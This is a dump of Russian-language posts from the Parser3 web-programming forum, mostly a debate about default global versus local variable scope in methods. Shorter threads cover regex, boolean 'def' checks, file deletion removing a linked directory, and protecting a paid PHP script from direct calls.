[quote]Единственное слабое место - не очень удачная (хотя мне, например, это и не мешает) система описания локальных переменных в МЕТОДАХ[/quote]\
\
Это слабое место - суть следствие дефолтной глобальности.\
Да, если придерживаться статуса \"язык для непрофессионалов\", то ничего менять не нужно.\
Пусть \"нелокализированный\" счётчик цикла имеет возможность перекрыть хоть поле класса, нехай, так даже интереснее.\
\
[quote]Если говорить о кардинальных изменениях, то я бы сделал все переменные классов private, разрешив таким образом обращение к полям исключительно через методы и свойства - многие проблемы это решило бы. Только вот нужно ли нам такое ограничение?[/quote]\
\
Вот!\
Я - полность за разумные ограничения.\
Это дисциплинирует, не давая даже при желании писать слабоясный код."
"57604","о взять и поделить я подробно высказался.\
если вы почему-то не видите противоречия вот здесь: http://www.parser.ru/forum/?id=57552\
\
то дальше, действительно обсуждать нечего.\
если же видите, предложите выход?\
\
шуметь совсем нетрудно. предложить выход труднее."
"57605","Тут подходы несколько другие. Задумайтесь..."
"57606","Парсер мне очень нравится, но есть мелочи, которые портят прекрасный язык.\
\
Даже в php, который мне не нравится, и то дела с переменными обстоят лучше."
"57607","Цель - получили строку, нужно все, что не a-zA-Z0-9 удалить. Делаю так:\
[code]\
$str[SeparФМtor]\
^str.match[^^[^^a-zA-Z0-9]+^$][g]{}\
[/code]\
В результате получается та же строка [b]SeparФМtor[/b]. Помогите найти ошибку, пожалуйста."
"57608","Для начала могу сказать, что за всё время программирования на Парсере ни разу не встречал пользовательских классов с несколькими конструкторами.\
Далее, если метод используется как конструктор его переменные становяться полями класса, если нет - они локальны.\
\
[color=\"#cccccc\"]Я бы пошёл дальше, по аналогии с c++ описывая поля класса вне методов и работая с ними только через методы/properties.\
Но, думаю, никто на такое не согласится.[/color]\
\
Ну, и как я уже говорил, помочь в этом случае помогут имена методов, переменных, properties.\
\
В любом случае, даже если представить самый худший вариант с несколькими контсрукторами, то он будет не страшнее в понимании работы кода, чем самый страшный вариант бездумного использования глобальных переменных с ужасными именами и незалокаленными переменными внутри методов."
"57609","речь не обязательно о двух конструкторах (которых у меня тоже не было), а о том, что из конструктора может быть вызван метод, в котором портебуется проинициализировать переменные. более того, этот метод может быть перекрыт для нужд реализации класса-наследника. и вот тут приключается жопа.\
\
P.S. это у меня используется сплошь и рядом."
"57610","а что мешает этому методу не просто объявлять непонятные переменные, которые сейчас из-за глобальности становяться полями класса, а выставлять уже объявленные, либо возврашать пачку в результат?..\
\
[code]\
@init[]\
$sNAME[]\
$iLIMIT(0)\
^self._initVars[]\
\
@_initVars[]\
$self.sNAME[Вася]\
$self.iLIMIT(10)\
[/code]"
"57611","посмотрите на ваш шаблон поиска, знаки экранирования служебных символов парсера убрал для простоты\
^[^a-zA-Z0-9]+$\
он говорит о том: что начиная с НАЧАЛА и до КОНЦА строки в нем могут быть какие угодно символы КРОМЕ a-zA-z0-9\
в вашей строке они присутствуют и шаблон не находит результата"
"57613","\\w включает в себя еще _, а мне его нельзя.\
Но все равно спасибо - помогло. Надо было оказывается начало и конец строки убрать. Спасибо за помощь."
"57614","Этот код:\
\
[code]$temp(false)\
^if(def $temp){1;0}[/code]\
\
выдает 0."
"57615","[code]\
$temp(true)\
^if(def $temp){1;0}\
[/code]\
выдаст 1\
\
можно зажигать 1,0\
[code]\
$temp(0) ^rem{присвоили false}\
^if(def $temp){^$temp is defined;^$temp is not defined} ^rem{выдаст defined}\
^if($temp){^$temp is true;^$temp is false} ^rem{выдаст false}\
[/code]\
\
я так думаю что false просто сильнее def :)\
[code]\
$temp(123)\
^if(def !$temp){def > false;false > def} ^rem{ false > def :) }\
[code]"
"57617","В доку по def. Проверяемым объектом может любой ОБЪЕКТ Parser: таблица, строка, файл, объект пользовательского класса и т.д.\
\
Для bool это не корректно\
поэтому проверять через ^if($temp is bool)\
\
Просто я привык вешать флажки через int и никогда не сталкивался с этим :) миа кульпа"
"57620","Как тогда понимать такую запись \"$var is bool\"???\
\
bool это тип!\
\
Код\
\
[code]$temp(false)\
^if($temp is bool){1;0}[/code]\
\
выдает 1.\
\
А в доке записано:\
\
[quote]def объект    \
не определенными (не def) считаются пустая строка, пустая таблица, пустой хеш и код. [/quote]\
\
Никакие bool тут не указываются. Значит можно. А на деле - нет. Что-то не так?"
"57621","[quote]\
Как тогда понимать такую запись \"$var is bool\"???\
bool это тип!\
[/quote]\
\
так и понимать\
написав $temp(false) вы фактически дали $temp ссылку на false до переопределения и получили ^if(false is bool)\
\
вы не создали объект, а [b]def проверяет объекты.[/b]"
"57624","Сейчас, к несчастью, есть случаи, когда программист просто вынужден использовать эту переменную, но от этого надо уходить."
"57625","... не те о которых пишете Вы. Что-то мы удалились от темы. :)"
"57626","дело вот в чем:\
[quote]\
[code]^file:delete[путь] [/code]   \
\
Удаляет указанный файл. \
Путь - путь к файлу \
\
[b]Если после удаления в каталоге больше ничего не осталось, каталог тоже удаляется(если это возможно). [/b][/quote]\
\
Т.е. Парсер расценивает линк на каталог как пустой, и затирает его. Почему? Как этого недопустить?"
"57627","Согласный, да.\
Но лучше использовать некторое ключевое слово в конструкторах иже с ними, чем в каждом методе \"local\" пачками."
"57628","когда мы пишем базовый класс мы не знаем какие переменные нам могут потребоваться в дочернем классе. получается что прозрачно объявлять переменные класса можно будет _только_ в конструкторах или полные непонятки по синтаксису - глобальна переменная или локальна. мне это кажется бОльшим злом.\
\
более того, ты предлагаешь прислушаться к тому, что ты говоришь, но не желаешь случать что говорят тебе. проблема не в \"глобальности\" переменных, а в том, что _неудобно_ объявлять локальные переменные (используется в одном месте, а объявляется в другом, не очень очевидном и плохо читаемом). введение конструкции, которая позволит объявлять переменные локальными сильно упростит жизнь, т.к. всё будет делаться в одном месте."
"57631","я же говорю - удаляется ссылка на каталог - сам каталог полон - в нем весь сайт! Как положить в ссылку файл?\
\
P.S. Пока разработчики Парсера и тех.поддержка хостера молчат, удаляю Перловым скриптом - иначе затирается линк, а монитор на хосте апдейтит его раз в час."
"57633","[code]от: support@1gb.com.ua [/code] \
[code]время: 2006-12-16 17:26:58 [/code] \
[quote] В данный момент нет задач, касающихся отвключения сайта. Ошибка действительно известна, она касается удаления корневого каталога вашего сайта каким-то из ваших приложений (ошибка файловой операции). Однако не в наших силах решить её оперативно.\
Монитор восстанавливает корневой каталог вашего сайта раз в час. После этого он продолжает работать.\
В настоящий момент идет исследование того, как защитить ссылку на корневой каталог от удаления. Скоро будет результат, однако, поскольку это яввляется особенностью работы ваших скриптов, а не хостинга в целом, то мы не можем гаратировать вам точных сроков решения этой проблемы.  [/quote]\
\
[code]от: creage@mail.ru  \
время: 2006-12-18 09:09:22  [/code]\
[quote] Насколько я понимаю, удаляется не сам каталог, а только ссылка на него. Это происходит не из-за ошибок скрипта - используется стандартная функция удаления методом Парсер3. В Парсер3 эта функция реализована таким образом, что если папка, в которой удаляется файл, пуста, то удаляется и сама папка. Не знаю почему, но по всей видимости Парсер видит ваш линк как пустой, и затирает его.\
Нельзя ли поставить на линк ограничения для Парсера? Чтобы он не мог его стирать.  [/quote]\
\
[code]от: support@1gb.com.ua  \
время: 2006-12-18 11:13:24  [/code]\
[quote] Мы уже пробовали это сделать, но пока не получилось, не нашли такой комбинации прав, которая предохраняет линк от удаления.\
Проблема исследуется, я всё же думаю что в течение дня мы решим эту проблему, в крайнем случае заменим линк на физический каталог с файлами, возможно, его он удалять не будет.  [/quote]"
"57634","[code]\
@method[]\
$var << по синтаксису похоже на обращение к переменной класса\
\
...\
\
$:var[значение] << определяю локальную переменную\
\
...\
\
$var << использую локальную переменную\
[/code]\
\
описаное выше работать не будет, так? это есть не очевидно, поэтому не хорошо."
"57635","[quote]получается что прозрачно объявлять переменные класса можно будет _только_ в конструкторах[/quote]\
\
По-моему - замечательно.\
Всё в одном месте, всё чётко объявлено, никаких метаний и растекания по коду.\
\
[quote]более того, ты предлагаешь прислушаться к тому, что ты говоришь, но не желаешь случать что говорят тебе[/quote]\
\
Потому что мне отвечают на прямые вопросы, а только комментируют какие-то свои моменты.\
На прямо поставленный вопрос я ещё ответа не увидел, и, судя по всему, не увижу.\
\
[quote]проблема не в \"глобальности\" переменных, а в том, что _неудобно_ объявлять локальные переменные[/quote]\
\
Как я уже говорил, на мой взгляд это не проблема, это следстивие дефолтной голобальности.\
Если её нет - всё жестче, понятнее и телодвижений ненужных по их объявлению совершать не нужно.\
При этом то, что нужно - обязательно к объявлению, это поля класса / глобальные переменные.\
\
Сколько у тебя в классе полей и сколько локальный переменных?\
На сколько порядков отличается количество?..\
\
[quote]введение конструкции, которая позволит объявлять переменные локальными сильно упростит жизнь, т.к. всё будет делаться в одном месте[/quote]\
\
Кто ж спорит, облегчит конечно.\
Но оно усложнит код ещё одним объявлением и решит лишь следствие (как [i]мне[/i] думается).\
При этом любая \"недолокализированная\" руками фиговинка перекроет что угодно.\
Очень наглядно, понятно и прозрачно, да..."
"57636","Мало self, ага."
"57638","Есть файлы:\
main.html - основной файл\
send.php - файл, который нужно вызвать\
\
Нужно, чтобы парсер из main.html вызвал файл send.php с параметрами, как:\
send.php?Sender=Gosha&Reciever=Petya&Language=1&Message=Bugoga\
\
И он возвращает какой-то текст. Например, сообщение об ошибке.\
\
Проблема заключается в том, что нужно, чтобы send.php нельзя было бы вызвать, набрав его адрес в адресной строке броузера. Т.е. человек вообще не должен догадываться, что вызывается какой-то еще php-файл.\
Соответственно, способ: [code]$status[^file::load[http://lalala/send.php?Sen...]][/code] не подходит.\
\
Пробовал ^file::cgi и ^file::exec, пока не дошло, что php - это текстовый файл и этими командами он не вызовется. Опа. Кажется дошло, что нужно вызывать ^file::cgi а в первой строке поставить путь к интерпретатору... Правильно мыслю?\
\
...\
\
вставил в первой строке:\
#!c:\\WebServerMessager\\usr\\local\\php\\php.exe\
(на денвере тестирую)\
не получилось.\
Сообщение об ошибке:\
[quote]exec failed - the file you tried to run &#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; Win32 (193). Consider adding shbang line (#!x:\\interpreter\\command line)[/quote]\
Кто-нибудь знает что можно сделать?"
"57640","там можно передавать параметры, можно делать POST (подробности в документации). что вас не устраивает?"
"57641","У меня обычно не более 1-2 локальных переменных, если вдруг нужно больше, то тут уже либо надо делить методы на более мелкие либо вводить private-поле в класс."
"57642","Потому что обычные смертные не должны вообще иметь возможности вызвать этот скрипт. Ну, допустим, по причине, что этот скрипт делает что-то, что стоит денег. Вся авторизация и весь баланс пользователя ведется через парсер, а определенное действие, которое на самом деле выполняет платную работу, выполняется в файле php.\
Там, конечно, будет стоять проверка, откуда вызван этот файл, но лучше еще и прикрыть его, чтобы вообще не было видно.\
\
Еще по пунктам.\
1. Есть пользователь. У него 2 рубля. Он хочет сделать дело, которое стоит 1 рубль. \
2. Он заходит на main.html, там парсер делает проверку, есть ли у пользователя на счету рубль. Если есть, то вызывает send.php и вычитает у пользователя из баланса 1 рубль.\
3. send.php не может проверить, кто этот пользователь, есть ли у него рубль и т.д. Соответственно, если вызвать send.php через http://..., то пользователь может без рубля в кармане делать то, что стоит денег."
"57643","интересно - как вы собираетесь закрыть доступ к send.php из браузера? По любому в самом скрипте придется делать проверку, как минимум на Реферера.\
А про вызов из парсера - что мешает со страницы, где пользователь дал согласие на выполнение услуги (нажал \"Пост\" или как там у вас) перенести его на другую страницу Парсера с параматрами для send.php, и в ней и вызвать этот скрипт?\
\
Как вариант я бы сделал это через Аякс - все на одной странице."
"57644","Просто разрешите, например через .htaccess, доступ к send.php только с localhost'a. В доке по Апачу все описано подробно."
"57645","1. Закрыть доступ из браузера можно поместив файл за пределами пространства www или как это там по-научному называется. Проще говоря, у меня на хостинге структура файлов и папок:\
cgi-bin/\
www/\
tmp/\
Я могу сделать еще папку \
super/\
и поместить в нее send.php. А файлы сайта лежат в папке www/. Следовательство средствами броузера в папку super/ просто невозможно попасть. А можно еще средствами апача закрыть доступ к send.php и открыть его только для владельца хостинга, от имени которого запускается парсер.\
\
AJAX в данном случае использовать нельзя опять же потому, что send.php не знает о пользователе СОВЕРШЕННО ничего. И поэтому прямой вызов send.php будет приводить к убыткам.\
\
А насчет:\
[quote]А про вызов из парсера - что мешает со страницы, где пользователь дал согласие на выполнение услуги (нажал \"Пост\" или как там у вас) перенести его на другую страницу Парсера с параматрами для send.php, и в ней и вызвать этот скрипт?[/quote]\
Скажем так, что main.html это уже и есть та самая страница, на которой вызывается send.php. А согласие пользователь давал на другой странице, например, index.html"
"57646","что мешает их передать в ПОСТе? или в ГЕТе? Так можно сказать вашему скрипту и что за пользователь, и что он хочет, и может ли он этого хотеть.\
\
И вообще не понимаю, как можно, вызывая скрипт на прямую, без параметров (статически), заставить его работать при определенных условиях (динамически)? В любом случае вы что-то передадите в send.php.\
\
Также не понял аргументов против Аякса."
"57647","Я спросил ПОЧЕМУ это так!!! Я не спрашивал про то, когда это в доках появится.\
\
Почему булева переменная всегда не определена?\
Ибо я думал что это не логично.\
Но раз это сделано, то наверное с какой-то целью.\
\
Итак, Почему булева переменная не определена всегда?"
"57648","- использование ajax в этом случае вообще сообщает посетителю адрес скрипта и провоцирует его самому сформировать к нему прямой запрос.\
\
я не спец в php, и как выполнить php скрипт расположенный вне web пространства не имяю понятия (но знаю что это можно). если лень разбираться с этим, то можно пойти другим путем: использовать все тот-же file::load к скрипту, расположеному в веб пространстве, но сделать так, чтобы прямой запрос не работал. например можно передавать дополнительное ^math:md5[секретный_ключ+параметры], в начале php скрипта проверить что за md5 сумма пришла. подделать это будет очень сложно, т.к. секретный_ключ не будет в открытом виде покидать сервер."
"57649","По моему \"удаление\" чего бы то ни было как операция  не должна производиться автоматически."
"57650","вызов другой страницы (к примеру sender.html), в которую мы передадим параметры юзера. На этой странице эти параметры проверяются на валидность, и если все тип-топ - вызываем send.php, если нет - говорим об этом юзеру. Таким образом мы не засветим юзерам ни намека о send.php.\
\
Прятать файлики вне веб-пространства, как показала практика - не везде получается. У меня вот текущий хостинг запрещает создание папок рядом с корнем веб-пространства (не понял почему). Пришлось прикрывать мод_рирайтом."
"57653","а зачем на сервере нужны пустые каталоги?\
парсер облегчает жизнь позволяя вообще не думать о каталогах (ну... почти... т.к. есть lock и hashfile требующие их наличия) создавая их автоматически при необходимости и удаляя их, если они пусты. лично мне эта фича очень нравится. кому не нравится - исходники доступны :)\
\
P.S. на *nix упоминаемой проблемы не существует: ставятся права, чтобы парсер был не в состоянии удалить каталог и все. что и как на win - я не знаю, особенно учитывая тот факт что я вообще не знаю что такое \"линк на каталог\" на win."
"57654","метод, где достаточно 1-2 переменных.\
Это что-то совсем мелкое."
"57655","по крайней мере сейчас видим следующее: \
- есть неприятные следствия и в одном и другом случаях. в случаях всеобщей глобальности: необходимость объявления локальных переменных (если не объявить то возможны побочные эффекты в виде перезаписывания значений переменных). в случаях всеобщей локальности: полная неочевидность объявления глобальных переменных + отсутствие обратной совместимости (хотя можно сделать чтобы они объявлялись явно, да здравствует всеобщий self при обращении к ним, брррр).\
- большинство участвующих в обсуждении считают всеобщую глобальность меньшим из описанных выше зол\
- существующее положение дел можно улучшить упростив механизм объявления локальных переменных (объявление перед использованием)\
\
=> subj."
"57656","Именно это я и спрашивал.\
КАК вызвать send.php, чтобы пользователь не догадывался о его существовании?\
\
С секретным ключем я тоже думал, это выход на совсем крайний случай - загрузка файла ^file::load и ключевое слово, да его можно даже не шифровать. Просто какую-то последовательность использовать, типа ^math:uuid, менять ее раз в неделю для безопасности и все.\
\
Но просто хотелось бы уже вообще забаррикадироваться. В финансовых делах безопасность превыше всего.\
\
Так все-таки нельзя вызвать PHP как cgi-скрипт? Поставив интерпретатором #!/usr/local/php/php ?"
"57658","мне тоже кажется более логичным, чтобы false все равно был-бы def."
"57659","Ничего лучше защиты средствами апача пока не придумали. Если я не прав, поправьте…"
"57663","[quote]полная неочевидность объявления глобальных переменных[/quote]\
\
Это как раз сейчас оно так.\
Я за абсолютно очевидный и строгий вариант.\
\
Но, раз партия сказала, чего тут трепыхаться...\
Делайте как хотите."
"57667","... почитайте Фаулера, Бека и пр. Теперь мне более-менее понятно откуда Ваши \"претензии\" возникли. Тут, уж извинити,проблемы не языка, а программиста.\
\
Теперь по поводу локальных переменных в методах. Надо учитывать, что у Парсера кроме явно описанных, локальными являются все аргументы метода, а также переменная result. Т.е. мы уже имеем некоторое количество локальных хранилищ - как правило этого хватает (у меня больше половины методов не используют локальные переменные вобще). Если какой-либо метод содержит дополительно больше 3 локальных переменных, то это первый сигнал для выделения кусков кода в отдельные методы. Аргументация такая: если часть Вашего метода формирует некий результат, который используется дальше в коде, то такой кусок спокойно может быть вынесен в отдельный метод, причем зачастую хранить результат его работы в промежуточной переменной просто не потребуется - просто подставбте вызов метода вместо промежуточной переменной."
"57668","[quote]Так все-таки нельзя вызвать PHP как cgi-скрипт? Поставив интерпретатором #!/usr/local/php/php ?[/quote]\
кажется можно. При установке PHP под Apache в его файл конфигурации пишутся строки для обработки php-файлов - пропысываются хендлеры. Т.е. вам нужно просто их снять через RemoveHandler в .htaccess, или путем модифицирования httpd.conf, и запускать ваши файлы как CGI-скрипты - через интерпритатор в первой строке."
"57669","ликбеза, пожалуйста.\
Я говорю о том, что слишком мелкие методы - это тоже перебор как и слишком крупные.\
Хотя лучше мелкие.\
\
[quote]Теперь мне более-менее понятно откуда Ваши \"претензии\" возникли.[/quote]\
\
Никаких претензий нет.\
Есть желание сделать язык лучше.\
Я не прошу делать удобно и приятно лично мне, я прошу взглянуть вперёд и сделать хорошо всем.\
\
Большие методы прекрасно показывают всю \"замечательность\" описания локальных переменных, вот и всё.\
Надеюсь хоть с тем, что сейчас неудобно согласны все...\
\
Давайте прекращать переливать из пустого в порожнее.\
У меня нет ни малейшего желания пробивать головой стену.\
Нравится - я рад за вас.\
Не нравится - терпите вместе со мной.\
Язык есть и нам на нём писать.\
Да и слава Богу."
"57672","Спасибо за помощь, я позже попробую так сделать, пока не всё понял, а время не ждет. Спасибо."
"57673","Почему, когда я делаю (упрощенно, на самом деле у меня там переменные) вот так:\
[code]\
^if(1 && 0 && 1){\
   Угу\
}{\
   Не угу\
}\
[/code]\
У меня выдается \"Не угу\"?\
Или я && неправильно использую?"
"57676","Ошибся, когда писал. Выдается, как будто условие правильное."
"57680","Видимо из-за того, что привык к $self.БЛА-БЛА, поэтому мне нравится $local в роли удобо-читаемости.\
\
За self тоже скажу. Мне это удобно (хотя, удобство - это часто привычка).\
\
Единственное, что и вправду меня \"мыкало\", так это:\
[code]\
@method[hshParams][iVar1;bTest;hBlock;sName;sMyTableName;sNewVariableName;........]\
[/code]\
\
P.S. Не нравилось крутить роликом мышки для прокрутки в редакторе до @method[......]."
"57681","[code]\
@method[][local]\
$local[^hash:create[]]\
# и дальше поехали\
.....\
# присвоили\
$local.var[test]\
# использовали\
$local.var\
[/code]\
ну так, псевдо объявление на месте  :) \
даешь 1 символ ($@var;$:var) хоть что нибудь\
двоеточие кстати дальше собаки на клавиатуре от доллара :)"
"57682","... для обратной совместимости и для ленивых должно быть, что-то типа автоопределения типа переменной.\
Т.е. не хочу отказаться от:\
[code]\
$iVariableName(1)\
$sFriendName[parserX]\
[/code]\
\
Т.е. если ниже я бы сделал:\
[code]\
$iVariableName[test-stroke]\
[/code]\
То это была бы строка.\
\
\
И вот это мне нравится:\
[code]\
# создали где-то\
$iTest[int](1)\
\
# затем по пьяне хотели подменить,\
# но здесь бы как отхватил $exception!\
$iTest[blabla_stroke]\
[/code]\
\
\
P.S. Единственное как быть с тем, что я хочу инициализировать переменную, но не указывать ей значение.\
\
Т.е. в привиденном мною было бы:\
[code]\
$iTest[int]\
\
^if($iTest is 'string'){\
	Yes, of course!\
}\
[/code]\
\
Замена этому это, что-то типа пустой переменной (что-то немного напоминающее JavaScript), т.е.\
[code]\
$iTest[int]()\
# но это мне самому не очень нравится\
[/code]"
"57683","[b]Системная переменная: local, явное определение [i][3.2.?][/i][/b]\
\
[code]@method[param1;param2][local]\
\
$someVar1[привет, я локальная переменная метода]\
\
$someVar2[привет, я тоже локальная, давай дружить]\
\
$CLASS:static[а я статическая переменная класса]\
\
$MAIN:global[ха, да я вообще - глобальная!][/code]\
или нет?"
"57684","кстати, в .NET запрещено иметь такие смущающие читателя переменные.\
и правильно, что запрещено.\
у нас, конечно же, если [b]не[/b] делать узкого диапазона видимости локальной переменной, получится верхняя переменная локальна.\
и это плохо.\
\
поэтому [b]нужно[/b] придумать, как сделать более узкий диапазон видимости.\
\
думается, можно так:\
при компиляции\
[code]$:variable1[значение][/code] \
делать так:\
[code]\
#это при компиляции\
есть ли среди локальных переменных variable1?\
#это при компиляции\
есть: ошибка, 'делать одноимённые локальные запрещено'\
#это при компиляции\
нет, продолжаем:\
#это такой байт-код пишем\
добавить к локальным переменным ещё одну variable1\
#это при компиляции\
в компилятор добавить список переменных на удаление в конце текущего блока 'variable1'\
#это такой байт-код пишем\
-собственно присваивание-\
#это такой байт-код пишем\
-дальнейший поток инструкций до конца текущего блока-\
#это при компиляции\
если есть локальные переменные на удаление:\
#это такой байт-код пишем\
удалить variabl1 из списка локальных\"\
[/code]\
\
блок тут:\
или до конца метода, или до конца [такого блока], или до конца {такого блока}.\
\
похожие действия нужно скомпилировать и в итераторы, куда локальные переменные передаются:\
[code]\
^for[:i](0;9){...}\
[/code]\
чтобы означало\
[code]\
есть ли среди локальных переменных variable1?\
есть: ошибка, 'делать одноимённые локальные запрещено'\
нет, продолжаем:\
добавить к локальным переменным ещё одну variable1\
{блок кода с собственно вызовом for}\
удалить локальную переменную variabl1 из списка локальных\
[/code]\
\
всё это сделать вполне можно.\
изменение компилятора средней сложности.\
\
небольшой побочный эффект:\
если раньше локальные переменные гуртом уничтожались сборщиком мусора (для экономии времени).\
то сейчас будет hash.delete происходить по выходу каждой $:объявленной переменной за область видимости.\
поэтому имеет смысл сразу оптимизацию приделать:\
если переменную объявили в самом начале метода (раньше только просто user string), то её только добавлять в список локальных и [b]не[/b] добавлять в список на удаление (она сама умрёт вместе со всем methodFram'ом).\
\
уф."
"57685","раз уж разговор ушёл в друю сторону.\
\
но, если делать проверку типов, то будем стремиться к типизации на этапе компиляции, а не на ходу (exception)."
"57686","кто что скажет?\
относительно халявный вариант.\
\
реализация:\
сделать два потомка methodFrame, делающих по-разному .putElement:\
один, как и сейчас делает .putElement в self.\
а другой пусть смотрит, и если переменная новая, делает перед .putElement регистрацию name в списке локальных (и сразу делает put туда, без поиска в родителях).\
при компиляции выставлять флажок в Method.\
а в execute при создании VMethodFrame, создавать нужную по флажку.\
\
(а чтобы ещё ускорить, можно ввести ещё два байт-кода в дополнение OP_CALL и OP_CALL__WRITE).\
\
\
конечно, в конструкторе будет не очень понятно, что лучше выбрать.\
многие в конструкторе пишут код (сюрприз), и им захочется и там иметь \"всё локальное\".\
таким людям придётся \
[code]\
@constructor[][local]\
$variable1[эта локальна]\
$self.field1[это поле]\
[/code]\
\
другим так не понравится, и в конструкторе придётся по-старинке\
[code]\
@constructor[][variable1]\
$variable1[эта локальна]\
$field1[а это поле]\
[/code]\
\
выбор не то чтобы богат.\
\
но этот вариант простой, без спорных «$:», и, думаю, многим понравится."
"57687","полезнейшая вещь."
"57688","я пытался сделать parser2:^ifdef чтобы было можно записать в виде parser3:^if(def\
\
т.к. в parser2 не было лжи [;)]\
[правда, не было и истины :))]\
там в качестве false использовалась пустая строка.\
она была не def.\
я подумал, что наш false тогда тоже не должен быть def, чтобы не смущать привыкших.\
\
насущной проблемы, чтобы кровь-из-носу менять, не вижу.\
кто видит, пусть приведёт.\
заодно пусть оценит вероятность проблем при этом изменении. \
\
(изменяется pa_vbool.h в is_defined() ставим return true;)"
"57689","Появляются зёрна истины.\
\
Вариант хороший, лучше чем $: иже с ним, не сильно хуже кардинального.\
\
Неясно одно: каково принципиальное отличие от мишиного варианта с ключиком?\
В данном случае оставшаяся свобода выбора может обернуться путаницей - в разных методах по-разному...\
Неоднозначная перспектива..."
"57690","Задача - Сделать фотоальбом.\
\
Но вот незадача. Как я понимаю размер файла можно узнать только после того, как он загрузится на сервер.\
\
Дак вот если несознательные граждане начнут подгружать вместо фотографий, ну, мультики. Счет за трафик будет приличным :\\\
\
Кто что как?\
Или я как-то не так понимаю..."
"57692","Из-за двух рублей никто не будет даже и пытаться взламывать ваши сценарии, а если серьёзно, шифруйте данные в куки (если авторизация удалась) и вызывайте send.php (который считывает массив $_COOKIE вместо $_GET).\
\
Пусть его и другие вызывают (не будет валидных данных - не делайте и вычитания)."
"57693","Привет всем!\
Пардон за оффтопик.\
Подскажите Хорошую доку по регулярным выражениям для совсем начинающего. И на русском что б."
"57697","Т.к. иногда хочется просто запретить в переменную ложить что попало, чтобы не делать проверку содержания в методах."
"57698","O'reily Регулярные выражения. Фридл. ~ 300 р. только в магазинах - редкость."
"57702","не знал как заголовок правильно сыормулировать, итак...\
\
Вызываю метод вот таким способом\
[code]^use[${variable}.p][/code]\
а вот теперь вопрос - заюзать то класс мы заюзали, а как создать сам объект класса или же вызвать в нем определенный [b]метод[/b]?\
Или же изначально можно считать этот код не правельным, и следует искать другой способ?"
"57703","Замечательный вариант! Есть следующее предложение:\
[code]\
@method1[][local;someVar1]\
# Новый подход \
$someVar1[не локальная]\
$someVar2[локальная]\
\
@method2[][someVar1]\
# По-старинке\
$someVar1[локальная]\
$someVar2[не локальная]\
[/code]\
Возможно такое решение?"
"57707","Михаил, спасибо.\
\
maxx, и вы хотели, что бы я сам до такого додумался? \
гы-гы... мне еще рости и рости в плане программирования...\
\
[update][offtop]\
Misha v.3 - еще раз спасибо огромное!!! код сократился на 80% !!!\
[/offtop][/update]"
"57713","[code]^if(def $form:date && def $form:sobitie && def $form:nastupilo){\
	^try{\
		$date[^date::create[$form:date]]\
	}{\
		Некорректно введена дата\
	}\
}{\
	Не заполнены поля формы\
}[/code]\
отправляю в поле date неправильную дату, а вместо \"Некорректно введена дата\" вижу информацию об ошибке!"
"57715","вероятно, там обычно будет использоваться\
[code]\
@constructor[] #и всё, никакого нового модификатора\
$field1[объявили и проинициализировали поле]\
[/code]"
"57716","причём мы с тобой уже придумали расширяемый синтаксис для этого (очередной кусочек из perl):\
[code]\
@USE\
locals\
\
@method1[]\
$variable1[это локальная]\
[/code]\
\
но тогда придётся конструкторы в другую сторону:\
[code]\
@constructor[]\
$self.field1[объявили и заполнили поле 1]\
$self.field2[объявили и заполнили поле 2]\
$self.field3[объявили и заполнили поле 3]\
[/code]\
\
можно сделать и то и другое, будет можно выбрать или на уровне класса, или на уровне метода.\
но как-то это не нравится.\
\
увы, я сильно не люблю $self, тут можно так:\
[code]\
@USE\
locals\
\
#но если хоть одна локальная объявлена, значит\
#пальцы загибать мальчонке не нужно, \
#и переменные без префикса суть поля\
@constructor[][i] \
$field1[поле]\
\
#если же локальные переменные не нужны вовсе, \
#а хочется конструктор без $self, можно так\
@constructor[param1;param2;param3][]\
$field[поле]\
[/code]"
"57717","В \"новом\" режиме в конструкторах переменные глобальны, в методах - локальны.\
То же самое, только писать [local] не нужно вообще нигде.\
\
+ везде единообразно, нельзя намеренно/нечаяно использовать оба режима, как в случае с [local]."
"57720","Пардон :(\
\
Здорово, пацаны! Соскучился я по вам :) Смотрю до локальных переменных добрались уже? :)"
"57721","а также:\
- лучше обратная совместимость (с [local] пострадают только те, у кого в методе была объявлена такая локальная переменная _и_ задавались переменные класса без self)\
- в одном проекте можно использовать \"старый\" и \"новый\" стили (допустим есть готовые, но ещё не обновленные, сторонние классы)"
"57722","Здравствуйте!\
А есть ли в Parser-e что-нибудь типа iconv?\
Кокретная ситуация, разрешение которой вызывает у меня сложности:\
\
1. Имеем базу, из которой вынимаются строки в windows-1251 (так настроен клиент. Может и можно его перестроить, буду смотреть, как это делается, если другого ничего не останется...база mysql 4.0).\
Client characterset:    latin1\
Server characterset:    cp1251\
UPDATE: вроде можно послать это: SET NAMES \"utf8\"\
\
2. Имеем строку, прилетающую в кодировке utf-8 (не хотелось бы ее, то бишь, кодировку, менять, она приходит с клиента, а там все непросто, да и utf-8 полезен для китайозов всяких...). Прилетает она из обработчика POST-a через форму.\
\
3. Надо присовокупить первую строку ко второй в письме:\
^mail:send[\
$.charset[utf-8]\
$.from[bla-bla-bla@bla-bla-bla2.ru]\
$.to[bla-bla-bla3@bla-bla-bla4.ru]\
$.subject[<строка в win-1251>]\
$.text[<строка в utf-8>]\
Письмо мне нужно иметь с прописанным utf-8 в header-e, естественно.\
\
4. Parser, как только видит $.charset[utf-8], кидается все строки в него конвертить, не соображая, что некоторые уже в нем. Subject, правда, он конвертит исправно.\
\
5. Таким образом, мне нужно:\
а) иметь пробитый utf-8 в хедере.\
б) иметь строку в utf-8 в теле письма.\
в) иметь (сконверченную в utf-8) строку в subject-e.\
\
Спасибо за ваше время!\
\
Михаил"
"57723","- возможность указать что для всего класса действует \"локальность\" переменных по умолчанию мне нравится\
\
- мне не очень нравится такой синтаксис:\
[code]@USE\
locals\
[/code]\
\
т.к. он вносит дополнительное огрничение/несовместимость и использует @USE не по назначению. может лучше что-нить подобное:\
[code]\
@VAR\
local\
[/code]\
\
- мне даже нравится, что в этом случае нужно будет писать $self в конструкторах для того чтобы задать переменную класса. это будет явно и очевидно\
\
- мне _очень_ не нравится предложеная возможность описать у конструктора хоть одну локальную переменную и таким образом получить возможность описывать поля класса без префиксов. и вот почему:\
\
1. в приведенном примере определена, но не используется переменная i - она является первым кандидатом на удаление, ибо нечего делать в объявлениях неиспользуемым переменным. \
\
2. @constructor[] и @constructor[][] очень сильно отличаются по сути без видимого отличия синтаксиса.\
\
